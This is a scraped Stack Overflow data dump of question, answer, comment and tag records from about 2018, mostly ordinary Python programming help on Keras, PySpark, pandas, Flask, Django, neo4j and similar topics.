has text: Selecting the histogram bins with the largest counts can be disappointing because colors actually appear as gradients rather than perfectly constant areas, because of lighting effects. For this reason, the colors can be spread over many bins, and the bins be poorly populated. A dominant color can be superseded by a secondary one that has a smaller spread. To cope with this, use larger bins.
type: QuestionComment
comment on: http://stackoverflow.com/q/49535318

http://stackoverflow.com/a/49619441
score: 2
upvote count: 2
downvote count: 0
has body: Erik Botö's answer is probably the best way to do this, however I'd like to record what I found myself, in case it helps other people trying to do something similar (creating a symlink in an image recipe, although perhaps not with this specific symlink). In my image recipe (which I call recipes-core/images/myimage.bb in my custom layer) I added the following lines: addtask create_pdb_symlink after do_rootfs before do_image do_create_pdb_symlink () { ln -s /usr/lib/python3.5/pdb.py ${IMAGE_ROOTFS}/usr/bin/pdb } The two key things I had to understand here were the use of IMAGE_ROOTFS (which I found by searching the output of bitbake -e), and the ordering of tasks: symlink creation has to happen after do_rootfs otherwise there's nothing in ${IMAGE_ROOTFS}, but obviously needs to happen before any images are created, to be included. However in this case I agree that a bbappend on the python3 recipe is more appropriate.
type: Answer
answers question: http://stackoverflow.com/q/49525426

http://stackoverflow.com/a/49566523
score: 3
type: Answer
accepted answer of: http://stackoverflow.com/q/49566157
has body: I can't believe I spent all day trying to figure this out and just stumbled across the answer while trying to figure out an alternative. Answer is here with credit to @Vivek Kumar for putting me on the right track. Essentially, treat the primary sklearn transformer as the parent class and do an inheritance to your custom class. Then I copy/pasted the code from the source here and from the source here and just added the extra-tidbits that I wanted [attrib_number, toggle]. For example, the following custom class worked where the previous did not (no further funky use of self.y that only worked once). from sklearn.utils import check_X_y from sklearn.feature_selection import f_classif from sklearn.utils import check_array, safe_mask from warnings import warn class SelectFprCustom(SelectFpr): def __init__(self, score_func=f_classif, attrib_number=20, on=True): super(SelectFprCustom,self).__init__(alpha=0.05) self.score_func = score_func self.attrib_number = attrib_number self.on = on def fit(self, X, y): X, y = check_X_y(X, y, ['csr', 'csc'], multi_output=True) if not callable(self.score_func): raise TypeError("The score function should be a callable, %s (%s) " "was passed." % (self.score_func, type(self.score_func))) self._check_params(X, y) score_func_ret = self.score_func(X, y) if isinstance(score_func_ret, (list, tuple)): self.scores_, self.pvalues_ = score_func_ret self.pvalues_ = np.asarray(self.pvalues_) else: self.scores_ = score_func_ret self.pvalues_ = None self.scores_ = np.asarray(self.scores_) return self def transform(self, X): X = check_array(X, accept_sparse='csr') mask = self.get_support() if (not mask.any()) or (self.on==False): warn("No features were selected: either the data is" " too noisy or the selection test too strict or you have on=False.", UserWarning) return np.empty(0).reshape((X.shape[0], 0)) if len(mask) != X.shape[1]: raise ValueError("X has a different shape than during fitting.") print (self.attrib_number) return X[:, safe_mask(X, mask)]…
upvote count: 3
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/49566157

shell
tags question: http://stackoverflow.com/q/49488410
tags question: http://stackoverflow.com/q/49576280
tags question: http://stackoverflow.com/q/49533562
tags question: http://stackoverflow.com/q/49516060
type: Tag
tags question: http://stackoverflow.com/q/49513525
tags question: http://stackoverflow.com/q/49492621
tags question: http://stackoverflow.com/q/49481048
tags question: http://stackoverflow.com/q/49488996
tag name: shell
tags question: http://stackoverflow.com/q/49591110
tags question: http://stackoverflow.com/q/49506507
tags question: http://stackoverflow.com/q/49510143
tags question: http://stackoverflow.com/q/49588073
tags question: http://stackoverflow.com/q/49586435
tags question: http://stackoverflow.com/q/49443251

http://stackoverflow.com/q/49475449
has body: I am building image classifier with localisation using CNN. My CNN has image as input, however after last CONV layer i want to split it into two , one part for image classification, and next part for image localisation. Needless to say one part should use mean squared error, another one should use binary binary_crossentropy. My structure is something like: input_image = Input(shape=(IMG_W, IMG_H, 3)) # Layer 1 x = Conv2D(32, (3,3), strides=(1,1), padding='same', name='conv_1', use_bias=False)(input_image) x = BatchNormalization(name='norm_1')(x) x = LeakyReLU(alpha=0.1)(x) # Layer 2 x = Conv2D(64, (3,3), strides=(1,1), padding='same', name='conv_2', use_bias=False)(x) x = BatchNormalization(name='norm_2')(x) x = LeakyReLU(alpha=0.1)(x) now i want to divied it into two Dense (FC) layer class_layer = x class_layer = Dense(256,activation="relu")(class_layer) class_layer = Dense(2,activation="softmax")(class_layer) model_one = Model(input_image,class_layer) model_one.compile(loss="binary_crossentrophy", optimizer=keras.optimizers.Adam(),metrics=['accuracy']) and layer for image localisation x = Dense(1024,activation="relu")(x) x = Dense(256,activation="relu")(x) x = Dense(4,activation="relu")(x) model = Model(input_image,x) model.compile(loss="mean_squared_error", optimizer=keras.optimizers.Adam(),metrics=['accuracy']) However how can i concat the layes so the result vector will be ( 2 + 4 ) ? Can i even achieve splitting like this? I know about model.concatenate However this should be called before compiling, so each part wouldnt have different loss function Thanks for help and answers
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: neural-network
tagged with: python
tagged with: conv-neural-network
has title: concatenating two outputs of conv net
answer count: 1
downvote count: 0
tagged with: machine-learning
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/49482056
tagged with: keras

http://stackoverflow.com/q/49481363
linked to: http://stackoverflow.com/q/36924873
has comment: http://stackoverflow.com/comment/108163636
linked to: http://stackoverflow.com/q/2386714
tagged with: apache-spark
answer count: 1
upvote count: 7
downvote count: 1
favorite count: 0
type: Question
tagged with: apache-spark-sql
has title: Pyspark 'NoneType' object has no attribute '_jvm' error
has comment: http://stackoverflow.com/comment/98097625
type: UnansweredQuestion
tagged with: pyspark
has comment: http://stackoverflow.com/comment/85998597
score: 6
tagged with: python
has comment: http://stackoverflow.com/comment/85990802
has answer: http://stackoverflow.com/a/55711135
has body: I was trying to print total elements in each partitions in a DataFrame using spark 2.2 from pyspark.sql.functions import * from pyspark.sql import SparkSession def count_elements(splitIndex, iterator): n = sum(1 for _ in iterator) yield (splitIndex, n) spark = SparkSession.builder.appName("tmp").getOrCreate() num_parts = 3 df = spark.read.json("/tmp/tmp/gon_s.json").repartition(num_parts) print("df has partitions."+ str(df.rdd.getNumPartitions())) print("Elements across partitions is:" + str(df.rdd.mapPartitionsWithIndex(lambda ind, x: count_elements(ind, x)).take(3))) The Code above kept failing with following error n = sum(1 for _ in iterator) File "/home/dev/wk/pyenv/py3/lib/python3.5/site-packages/pyspark/python/lib/pyspark.zip/pyspark/sql/functions.py", line 40, in _ jc = getattr(sc._jvm.functions, name)(col._jc if isinstance(col, Column) else col) AttributeError: 'NoneType' object has no attribute '_jvm' after removing the import below from pyspark.sql.functions import * Code works fine skewed_large_df has partitions.3 The distribution of elements across partitions is:[(0, 1), (1, 2), (2, 2)] What is it causing this error and how can I fix it?

three.js
type: Tag
tag name: three.js
tags question: http://stackoverflow.com/q/49539286

http://stackoverflow.com/comment/86171137
comment on: http://stackoverflow.com/q/49581566
has text: You can't have holes in capture groups.
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/85926495
type: Comment
type: AnswerComment
has text: how do i include my data file i.e json file to it?
comment on: http://stackoverflow.com/a/49461638
score: 0

http://stackoverflow.com/a/49546682
has body: The best way is probably to keep your namespaces clean, if you can: do: import numpy or import numpy as np, instead of: from numpy import empty, full, zeros, matrix, arange, asarray, array In case it is not up to you, and it is unclear what came earlier, help(array), or repr(array), or type(array) will be handy. (as mentioned in the comments)
answers question: http://stackoverflow.com/q/49546472
score: 1
type: Answer
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/86090085
type: AnswerComment
comment on: http://stackoverflow.com/a/49540571
score: 0
has text: Would there be a reason for one approach to be faster?
type: Comment

http://stackoverflow.com/q/49476076
has answer: http://stackoverflow.com/a/49476104
tagged with: pandas
has body: I'm using an if statement inside a for loop throughout a pandas datafame, but it is taking too long to process. Is there a way to do this without the for loop? for i in data.index: if data['qt_CNAE'][i] &gt; 20: data['CNAEuse'][i]=data['CNAE'][i] data['CNAEuse_Cres'][i]=data['Crescimento_CNAE'][i]
downvote count: 0
score: 1
upvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85954689
tagged with: if-statement
has title: IF sentence in a FOR loop throughout a dataframe: performance improvement
accepted answer: http://stackoverflow.com/a/49476092
tagged with: python
has answer: http://stackoverflow.com/a/49476092
possible better answer: http://stackoverflow.com/a/49476104
type: AnsweredQuestion
answer count: 2
tagged with: for-loop

http://stackoverflow.com/a/49495277
answers question: http://stackoverflow.com/q/49492850
has body: You can use collections.Counter for an O(n) solution. from collections import Counter c = Counter() for cat, time, cycle in lst: if cat == 'Transfer': c[cycle] += 1 Result Counter({'Cycle 1': 3, 'Cycle 2': 5}) Setup lst = [('Transfer', '0:33:20', 'Cycle 1'), ('Transfer', '0:33:10', 'Cycle 1'), ('Download', '0:09:10', 'Cycle 1'), ('Transfer', '0:33:10', 'Cycle 1'), ('Download', '0:13:00', 'Cycle 1'), ('Download', '0:12:30', 'Cycle 2'), ('Transfer', '0:33:10', 'Cycle 2'), ('Download', '0:02:00', 'Cycle 2'), ('Transfer', '0:33:00', 'Cycle 2'), ('Transfer', '0:33:00', 'Cycle 2'), ('Transfer', '0:33:00', 'Cycle 2'), ('Transfer', '0:32:40', 'Cycle 2')] Explanation Use a collections.Counter object to increment a cycle key each time the category is "Transfer".
upvote count: 2
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/85994727
score: 2
has comment: http://stackoverflow.com/comment/85994692

http://stackoverflow.com/comment/86052269
comment on: http://stackoverflow.com/q/49522581
type: Comment
type: QuestionComment
has text: @PeterDolan I know I can do mainDict['firstKey']['field1'] to get value1 but this is hardcoded, how can I generalize it. Example: MainDict : {'pins': {'Category': ['General'], 'Contact': ['Mark'], 'Description': ['This', 'is', 'a']}, 'nails': {'Category': ['specific'], 'Contact': ['Jon'], 'Description': ['This', 'is', 'a', 'description']}, 'board': {'Category': ['General'], 'Contact': ['Mark'], 'Description': ['This', 'is', 'a']}, 'hammer': {'Category': ['tools'], 'Contact': ['Jon'], 'Description': ['This', 'is', 'a', 'description']}}
score: 0

http://stackoverflow.com/comment/85942791
type: Comment
score: 0
type: AnswerComment
has text: They are different. Each has its own bugs. Some bugs are fixed, others are introduced. `solve` supports parameters `dict=True` and `set=True` for forcing consistent return type.
comment on: http://stackoverflow.com/a/49469224

http://stackoverflow.com/q/49503359
has comment: http://stackoverflow.com/comment/86011415
score: 0
answer count: 2
has body: def G(): def gl(): url = ("www.google.com"); webbrowser.open_new(url); ##takes me to google exit(); def glin(): os.startfile("C:\Program Files\M Google\Google Chrome.lnk"); ##takes me to google incognito exit(); while 1: what_to_doG = input("choosing which one of glin or gl"); ##chooses which one of the above to go to if ( what_to_doG == gl): gl(); break; if ( what_to_doG == glin): glin(); break; while 1: what_to_do = input("choosing out of G or B"); if ( what_to_do == G): G(); ##chooses which one to go to break; ## ^^^^^^--- this won't take me to G() and won't break out if ( what_to_do == B): B(); break; when i run this it keeps going back to the "choosing out of G or B" even tho i am putting G please help me someone and i am making this to get to tabs faster
upvote count: 1
has answer: http://stackoverflow.com/a/49503412
accepted answer: http://stackoverflow.com/a/49503412
downvote count: 1
has answer: http://stackoverflow.com/a/49503394
favorite count: 0
has comment: http://stackoverflow.com/comment/86010904
type: Question
possible better answer: http://stackoverflow.com/a/49503394
has comment: http://stackoverflow.com/comment/86011182
tagged with: python
has title: Can't break out of a loop when I am using the right thing
type: AnsweredQuestion

http://stackoverflow.com/a/49478143
score: 0
has body: a=input() for i in range(1,len(a)): if(a[i]==a[0]): b=a[1:len(a)].replace(a[i],'$') print(a[0]+b) you changed whole word/sentence 'a': a.replace(...)
upvote count: 2
downvote count: 2
has comment: http://stackoverflow.com/comment/85958898
has comment: http://stackoverflow.com/comment/85959284
has comment: http://stackoverflow.com/comment/85959033
type: Answer
answers question: http://stackoverflow.com/q/49478087

http://stackoverflow.com/comment/86014596
comment on: http://stackoverflow.com/q/49505262
type: Comment
type: QuestionComment
has text: https://stackoverflow.com/questions/15479928/why-is-the-order-in-dictionaries-and-sets-arbitrary
score: 0

http://stackoverflow.com/comment/86253421
type: QuestionComment
comment on: http://stackoverflow.com/q/49563804
type: Comment
score: 0
has text: NLTK calls this *chunking* but there is no built-in database to identify chunks as "business-related". This is probably not well-defined anyway; business niches is not a closed category, so you cannot predict whether "pork bellies" or "blood diamonds" is "business" without external information about the world. This is arguably too broad for Stack Overflow and I have voted to close this question as such.

tableau-api
type: Tag
tag name: tableau-api
tags question: http://stackoverflow.com/q/49596242
tags question: http://stackoverflow.com/q/49569796

http://stackoverflow.com/comment/85884464
type: Comment
type: QuestionComment
has text: Read here: https://www.sqlite.org/fts3.html
score: 0
comment on: http://stackoverflow.com/q/49441238

http://stackoverflow.com/comment/122370662
has text: In `SVC()`, the default value of `decision_function_shape` is `’ovr’`, which means it returns a one-vs-rest (‘ovr’) decision function of shape (n_samples, n_classes) as all other classifiers. In this demo, the label space is [0, 1, 2, 3], so `n_classes = 4`. So why P contains 7 results ? Here is my results from `sklearn=0.24.1`: ```Sample=0, Prediction=0, Votes=[ 3.16124317 3.19468064 0.87106327 3.17454938 -0.24583347] P=[0.31428908 0.32497579 0.03182122 0.31849903 0.01041489], ``` Thanks
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/49507749
type: Comment

http://stackoverflow.com/comment/86085862
type: Comment
score: 0
type: AnswerComment
has text: @ChasenBettinger i think date is necessary ,in your case we only keep the first one for each group
comment on: http://stackoverflow.com/a/49539276

http://stackoverflow.com/comment/85903799
comment on: http://stackoverflow.com/q/49445129
score: 0
type: Comment
type: QuestionComment
has text: Yes, this now at least returns the error. This is not a Programming error, but something to do with the header parameter. Flask does not identify header errors? I would like to raise a Programming error exception and a header exception separately.

http://stackoverflow.com/q/49536806
linked to: http://stackoverflow.com/q/230751
linked to: http://stackoverflow.com/q/28736175
tagged with: python
has comment: http://stackoverflow.com/comment/86102078
type: Question
duplicate of: http://stackoverflow.com/q/28736175
answer count: 0
type: UnansweredQuestion
has body: When I try a simple code import time for i in range (1,6): print 'hiiiiii' time.sleep(1) I get the output #after 5 seconds of sleep hiiiiii hiiiiii hiiiiii hiiiiii hiiiiii How to get the output after each second, hiiiiii #after 1 sec hiiiiii #after 1 sec hiiiiii #after 1 sec hiiiiii #after 1 sec hiiiiii
has title: Why Python prints output in console after program completion?
has comment: http://stackoverflow.com/comment/86080365
tagged with: python-2.7
has comment: http://stackoverflow.com/comment/86080390
score: 0

http://stackoverflow.com/comment/86149001
type: Comment
has text: No No, I am having a very strong internet connection but it's not working. I just need any other alternative to install Django.
comment on: http://stackoverflow.com/q/49570084
score: 0
type: QuestionComment

http://stackoverflow.com/a/63363385
type: Answer
score: 11
has comment: http://stackoverflow.com/comment/112241923
downvote count: 0
answers question: http://stackoverflow.com/q/49469764
has body: Use opencv-python-headless as it is out of libSM6 dependency. check this out. Add the following line your requirements.txt and remove the old open-cv entry: opencv-python-headless==4.2.0.32
upvote count: 11

http://stackoverflow.com/comment/86037518
has text: Staticmethods don't refer to `self` at all. They are *staitc*. In other words, they're used as if they are functions defined outside the class. `ctx` is passed explicitly to these methods. It has no relation to `self` at all.
comment on: http://stackoverflow.com/q/49516188
type: Comment
type: QuestionComment
score: 3

http://stackoverflow.com/comment/86194890
type: Comment
comment on: http://stackoverflow.com/q/49592864
type: QuestionComment
score: 0
has text: Please use formatting tools to properly edit and format your question

http://stackoverflow.com/comment/86170370
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49559876
has text: @NoussaierGrayaa I have made some changes on the answer.Is this what you want to do ?
type: Comment

http://stackoverflow.com/comment/85927922
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49462462
score: 0
has text: and The error in the code above occurred when Calculator_test.py was executed.

http://stackoverflow.com/a/49515811
answers question: http://stackoverflow.com/q/49515617
has comment: http://stackoverflow.com/comment/97717350
downvote count: 1
upvote count: 5
type: Answer
has comment: http://stackoverflow.com/comment/138931814
has body: Modern answer for Python 3 See above the answer by @joe-heffer: https://stackoverflow.com/a/53187751/223424 Old incomplete answer When you do files = zip_file.namelist(), you just list the names of the files in the zip archive; these files are not yet extracted from the zip and you cannot open them as local files, like you're doing. You can directly read a stream of data from a zip file using ZipFile.open. So this should work: zip_file = ZipFile(BytesIO(request.content)) files = zip_file.namelist() with zip_file.open(files[0], 'r') as csvfile: csvreader = csv.reader(csvfile) ...
score: 4
has comment: http://stackoverflow.com/comment/86065083
has comment: http://stackoverflow.com/comment/86036884
has comment: http://stackoverflow.com/comment/138931829

http://stackoverflow.com/q/49580591
accepted answer: http://stackoverflow.com/a/49615532
downvote count: 0
upvote count: 1
has answer: http://stackoverflow.com/a/49581005
type: AnsweredQuestion
has title: Stuck with neo4j with python
has body: Hi I will try to keep on track but I've done a lot of research and now I just lost. I could really use some expertise here. Below is the situation: Preface This is a follow up question from my question here. The issue there was that my cypher queries were taking 1 second at the minimum to return a response. Even queries like RETURN 123 also took 1 second. Which lead to the conclusion Neo4j Bolt Driver for Python is slower than an actual http call to neo4j. I can back this up with research from GitHub Issues and this from stackoverflow The problem statement Each time my code runs, it generates upto 10 Cypher queries and all those have to be fired and then operations need to be performed based on the results. The issue is using Bolt the queries take 1 second to execute and with HTTP I am stuck. Since I want to use Query Parameters to make the query faster since now it's not Bolt as each http call now takes 30ms, multiply that by 10 {since I have 10 queries} and you have a very poor performing python API to fetch user relations. ' Where am I stuck A confirmation that yes, the Bolt driver is slow and that I am not doing anything wrong. Since all the posts I've seen are dated a year back My query has OR and AND conditions, how can I write those using parameters in neo4j REST Calls. Is there some other graph database I should look towards? Is there any way I can fire up to 10 queries and get a response time below 200ms? Other reasons to think I am missing something: The legend has it, neo4j is the most popular graph database. How is it possible with such drivers? Over 1 year of reported issues with BOLT drivers and they still haven't fixed these issues. Sample Request curl -X POST \ http://localhost:7474/db/data/cypher \ -H 'Authorization: Basic bmVvNGo6Y29kZQ==' \ -H 'Cache-Control: no-cache' \ -H 'Content-Type: application/json' \ -d '{ "query" : "MATCH (ct:city)-[:CHILD_OF]-&gt;(st:state) WHERE (st.name_wr = {st}) AND (ct.name_wr= {ct}) RETURN st, ct", "params": { "st"…
score: 1
linked to: http://stackoverflow.com/q/9130370
possible better answer: http://stackoverflow.com/a/49581005
tagged with: python
tagged with: neo4j
has answer: http://stackoverflow.com/a/49615532
favorite count: 0
type: Question
answer count: 2
linked to: http://stackoverflow.com/q/49541009

http://stackoverflow.com/a/49596070
upvote count: 1
has comment: http://stackoverflow.com/comment/86199751
has body: You create a new app in hello.py and don't use the app imported from app in app.user.routes. Your hello.py should look like this: from app import app import app.user.routes # just to define the routes if __name__ == '__main__': app.run(debug=True) and a app/__init__.py should look like this: from flask import Flask app = Flask(__name__)
has comment: http://stackoverflow.com/comment/86199626
answers question: http://stackoverflow.com/q/49595999
type: Answer
has comment: http://stackoverflow.com/comment/86199496
score: 1
has comment: http://stackoverflow.com/comment/86202099
downvote count: 0

http://stackoverflow.com/comment/85992012
type: Comment
type: QuestionComment
has text: `\x...` is an escape sequence. You can't separate it into chunks and expect Python to work out what to do when you stitch it back together (is that a literal x or ...).
score: 0
comment on: http://stackoverflow.com/q/49494112

http://stackoverflow.com/q/49584365
has comment: http://stackoverflow.com/comment/86176835
answer count: 1
tagged with: machine-learning
upvote count: 1
has answer: http://stackoverflow.com/a/49597750
downvote count: 1
tagged with: tensorflow
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86202722
has comment: http://stackoverflow.com/comment/86180544
type: UnansweredQuestion
tagged with: python
tagged with: artificial-intelligence
has body: Hi got into another roadblock in tensorflow crashcourse...at the representation programming excercises at this page. https://developers.google.com/…/repres…/programming-exercise I'm at Task 2: Make Better Use of Latitude seems I narrowed the issue to when I convert the raw latitude data into "buckets" or ranges which will be represented as 1 or zero in my feature. The actual code and issue I have is in the paste bin. Any advice would be great! thanks! https://pastebin.com/xvV2A9Ac this is to convert the raw latitude data in my pandas dictionary into "buckets" or ranges as google calls them. LATITUDE_RANGES = zip(xrange(32, 44), xrange(33, 45)) the above code I changed and replaced xrange with just range since xrange is already deprecated python3. could this be the problem? using range instead of xrange? see below for my conundrum. def select_and_transform_features(source_df): selected_examples = pd.DataFrame() selected_examples["median_income"] = source_df["median_income"] for r in LATITUDE_RANGES: selected_examples["latitude_%d_to_%d" % r] = source_df["latitude"].apply( lambda l: 1.0 if l &gt;= r[0] and l &lt; r[1] else 0.0) return selected_examples The next two are to run the above function and convert may exiting training and validation data sets into ranges or buckets for latitude selected_training_examples = select_and_transform_features(training_examples) selected_validation_examples = select_and_transform_features(validation_examples) this is the training model _ = train_model( learning_rate=0.01, steps=500, batch_size=5, training_examples=selected_training_examples, training_targets=training_targets, validation_examples=selected_validation_examples, validation_targets=validation_targets) THE PROBLEM: oki so here is how I understand the problem. When I run the training model it throws this error ValueError: Feature latitude_32_to_33 is not in features dictionary. So I called selected_training_examples and selected_validation_examples here's what I found. If I…
has title: google tensor flow crash course. Issues with REPRESENTATION:Programming exercises Task 2: Make Better Use of Latitude
score: 0
has comment: http://stackoverflow.com/comment/86176959

http://stackoverflow.com/a/49692561
accepted answer of: http://stackoverflow.com/q/49492008
upvote count: 2
answers question: http://stackoverflow.com/q/49492008
type: AcceptedAnswer
downvote count: 0
score: 2
has body: I solved this problem today by use a diferent method - authenticate. I did this way and it works: def ajax_check_password(request): """This method will compare logged user password with typed password""" password = str(request.POST.get('password', None)) result = authenticate(username=request.user.username, password=password) if result: return JsonResponse({'status': 'true'}) else: return JsonResponse({'status': 'false'})
type: Answer

django-apps
tag name: django-apps
tags question: http://stackoverflow.com/q/49584809
tags question: http://stackoverflow.com/q/49573342
tags question: http://stackoverflow.com/q/49451493
type: Tag

http://stackoverflow.com/comment/86039971
type: Comment
score: 0
type: AnswerComment
has text: Hi Wen, thanks for such an elegant solution. This will work! I overthought it!
comment on: http://stackoverflow.com/a/49503978

http://stackoverflow.com/q/49546699
type: Question
type: UnansweredQuestion
score: -2
downvote count: 2
tagged with: python
has body: i want use multiprocessing or threading for this code and I would like to control the threading example threads = (50) if i chose 50 theards is opend 50 process please help me this code :- import subprocess import csv def ping(hostname): p = subprocess.Popen(["ping", "-n", "1","-w","1000",hostname], stdout=subprocess.PIPE, stderr=subprocess.PIPE) pingStatus = 'ok'; for line in p.stdout: output = line.rstrip().decode('UTF-8') if (output.endswith('unreachable.')) : #No route from the local system. Packets sent were never put on the wire. pingStatus = 'unreacheable' break elif (output.startswith('Ping request could not find host')) : pingStatus = 'host_not_found' break if (output.startswith('Request timed out.')) : #No Echo Reply messages were received within the default time of 1 second. pingStatus = 'timed_out' break #end if #endFor return pingStatus #endDef def printPingResult(hostname): statusOfPing = ping(hostname) if (statusOfPing == 'host_not_found') : writeToFile('!server-not-found.txt', hostname) elif (statusOfPing == 'unreacheable') : writeToFile('!unreachable.txt', hostname) elif (statusOfPing == 'timed_out') : writeToFile('!timed_out.txt', hostname) elif (statusOfPing == 'ok') : writeToFile('!ok.txt', hostname) #endIf #endPing def writeToFile(filename, data) : with open(filename, 'a') as output: output.write(data + '\n') #endWith #endDef ''' servers.txt example vm8558 host2 server873 google.com ''' file = open('hosts.txt') try: reader = csv.reader(file) for item in reader: printPingResult(item[0].strip()) #endFor finally: file.close() #endTry i want use multiprocessing or threading for this code and I would like to control the threading example threads = (50) if i chose 50 theards is opend 50 process
upvote count: 0
tagged with: multithreading
has title: use multiprocessing or threading script python
answer count: 1
has answer: http://stackoverflow.com/a/49547406
favorite count: 0

http://stackoverflow.com/q/49580415
has title: Error: number of arguments and self
tagged with: numba
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86169258
has answer: http://stackoverflow.com/a/49580553
score: 2
linked to: http://stackoverflow.com/q/136097
downvote count: 0
answer count: 1
has body: I am trying to figure out how to use numba to best pre-compile a long running function and put it in a QThread. Unfortunately, I am running into a variety of issues (one even being numba not printing errors, just crashing the program). I put together a small code sample to try to at least make that work, but thats still hitting issues. main.py import sys from PyQt5 import QtCore, QtGui, QtWidgets, uic import workClass class MainWindow(QtWidgets.QMainWindow): def __init__(self): t = workClass.longThread() t.start() if __name__ == '__main__': app = QtWidgets.QApplication(sys.argv) window = MainWindow() sys.exit(app.exec_()) workclass.py import numpy as np from PyQt5.QtCore import QThread from numba import jit import time class longThread(QThread): def __init__(self): super(longThread, self).__init__() return None def run(self): start = int(round(time.time() * 1000)) j = np.iinfo(np.long).max print(self.doStuff(j)) print(str(int(round(time.time() * 1000)) - start)) @jit("float64(int32)") def doStuff(j): for i in range(0, 1000000): j = np.sqrt(j) return j When I run this, I get: TypeError: too many arguments: expected 1, got 2 at print(self.doStuff(j)) I assume this is python passing self as well as j. But if I add self into the def for doStuff, then numba whines because it cant compile self. So, whats the proper way to set up numba? I know is this particular instance, some things could be moved around, but this is set up as close to my real project as I could get it. Incidentally, if I just replace the signature for dostuff with nopython=True and then add self as the first argument, it at least gets past that point and actually prints an error about compiling the type, which my real project refuses to do for some unknown reason I couldn't replicate.
favorite count: 0
has comment: http://stackoverflow.com/comment/86176046
has comment: http://stackoverflow.com/comment/86168982
type: Question
upvote count: 2

http://stackoverflow.com/a/49546715
score: 1
type: Answer
has body: Here are is a way that only uses indexing: &gt;&gt;&gt; import numpy as np &gt;&gt;&gt; a = np.array(['abcdefghi']).view('U1').reshape(3, 3) &gt;&gt;&gt; a array([['a', 'b', 'c'], ['d', 'e', 'f'], ['g', 'h', 'i']], dtype='&lt;U1') &gt;&gt;&gt; &gt;&gt;&gt; a[[2,1,0],[[2],[1],[0]]] array([['i', 'f', 'c'], ['h', 'e', 'b'], ['g', 'd', 'a']], dtype='&lt;U1') If you do not want to hardcode the indices you'll have to use some kind of builtin. Either Python builtins: &gt;&gt;&gt; a[list(reversed(range(3))), list(zip(reversed(range(3))))] array([['i', 'f', 'c'], ['h', 'e', 'b'], ['g', 'd', 'a']], dtype='&lt;U1') or numpy &gt;&gt;&gt; a[np.ogrid[2:-1:-1,2:-1:-1][::-1]] array([['i', 'f', 'c'], ['h', 'e', 'b'], ['g', 'd', 'a']], dtype='&lt;U1') Note that all these methods do a non-lazy transpose, meaning that the resulting array is C contiguous.
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/86106372
answers question: http://stackoverflow.com/q/49538189

http://stackoverflow.com/comment/85946068
type: QuestionComment
has text: First, did you read the docs on [the three Windows calling conventions](https://docs.python.org/3/library/ctypes.html#loading-dynamic-link-libraries)? If you open a library with WinDLL instead of CDLL but it uses the C rather than stdcall convention, it won't work.
comment on: http://stackoverflow.com/q/49471545
score: 0
type: Comment

http://stackoverflow.com/q/49525981
tagged with: nltk
has title: How to calculate the deepest node in WordNet using NLTK?
tagged with: python
type: AnsweredQuestion
score: 0
has body: Is there built-in functionality to find the lowest word in a word hierarchy using NLTK? For example, if there were no edge between 'placenta' and 'carnivore' in the first graph at http://www.randomhacks.net/2009/12/29/visualizing-wordnet-relationships-as-graphs/, the lowest words would be 'placenta' and 'carnivore' (both having distance 10 from 'entity').
answer count: 1
accepted answer: http://stackoverflow.com/a/49526585
tagged with: wordnet
has answer: http://stackoverflow.com/a/49526585
type: Question

http://stackoverflow.com/q/49453187
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49453433
tagged with: python
has answer: http://stackoverflow.com/a/49453429
score: 0
answer count: 3
tagged with: http://stackoverflow.com/tag/csv
has title: Writing a specific rows from csv file to another csv in Python
has answer: http://stackoverflow.com/a/49453291
has comment: http://stackoverflow.com/comment/85909267
type: Question
has comment: http://stackoverflow.com/comment/85909197
has body: I need Your help desperately because I'm getting a little obsessed with following case: All, what I want to do is rewrite rows containing some specified string into another csv file. I was trying various options found on StackOverflow, but none of these works in my case. What I have till now: import csv with open("origin.csv") as file, open('results.csv','wb') as resultfile: originreader=csv.reader(file, delimiter=";') writer=csv.writer(resultfile) for row in originreader: if "Windows Server 2008 R2 for x64" in row: writer.writerow(row) The origin file looks like: Date;Product;Product Family;Platform;Article;Download;Details 04/12/2002;Windows Vista Service Pack 2;Windows;;3146963;Security Update;CVE-2016-0147 04/12/2002;Windows Server 2008 for 32-bit Systems Service Pack 2;Windows;;3146963;Security Update;CVE-2016-0147 04/12/2002;Windows Server 2008 R2 for x64-based Systems Service Pack 1;Windows;;3146963;Security Update;CVE-2016-0147 04/12/2002;Windows Server 2012 R2 (Server Core installation);Windows;;3146963;Security Update;CVE-2016-0147 04/12/2002;Windows 10 Version 1511 for 32-bit Systems;Windows;;3147458;Security Update;CVE-2016-0147 I hope I explained myself clearly. Please be lenient as I'm beginner and it is my first project running in Python. Thanks in advance. Bartek

http://stackoverflow.com/comment/85988239
comment on: http://stackoverflow.com/q/49492253
score: 0
type: Comment
has text: Can you please post [an example](https://stackoverflow.com/help/mcve) of what you have and what you would like to obtain exactly?
type: QuestionComment

http://stackoverflow.com/comment/85967059
has text: @NathanTurczan Or, probably more readably: `animal, color, nextcolor = dct[key]` then `result.append(animal)` then `key = nextcolor`.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49482051
type: Comment

http://stackoverflow.com/a/49693704
has comment: http://stackoverflow.com/comment/89467301
score: 22
answers question: http://stackoverflow.com/q/49582252
has comment: http://stackoverflow.com/comment/89467593
has comment: http://stackoverflow.com/comment/114014049
has comment: http://stackoverflow.com/comment/113939929
has comment: http://stackoverflow.com/comment/106361528
upvote count: 22
has comment: http://stackoverflow.com/comment/106347575
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86544029
